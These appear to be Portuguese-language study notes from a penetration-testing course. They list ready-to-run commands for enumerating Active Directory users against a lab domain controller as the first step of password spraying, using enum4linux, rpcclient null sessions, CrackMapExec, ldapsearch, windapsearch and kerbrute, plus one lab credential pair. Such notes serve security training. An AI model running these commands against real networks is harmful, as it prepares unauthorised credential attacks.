Password Spraying - Making a Target User List

• Usando enum4linux

enum4linux -U 172.16.5.5  | grep "user:" | cut -f2 -d"[" | cut -f1 -d"]"

• Usando rpcclient

rpcclient -U "" -N 172.16.5.5

enumdomusers

• Usando o sinalizador CrackMapExec --users

crackmapexec smb 172.16.5.5 --users

• Usando ldapsearch

ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "(&(objectclass=user))"  | grep sAMAccountName: | cut -f2 -d" "

• Usando windapsearch

./windapsearch.py --dc-ip 172.16.5.5 -u "" -U

• Enumeração de usuário Kerbrute

kerbrute userenum -d inlanefreight.local --dc 172.16.5.5 /opt/jsmith.txt 

• Usando CrackMapExec com credenciais válidas

sudo crackmapexec smb 172.16.5.5 -u htb-student -p Academy_student_AD! --users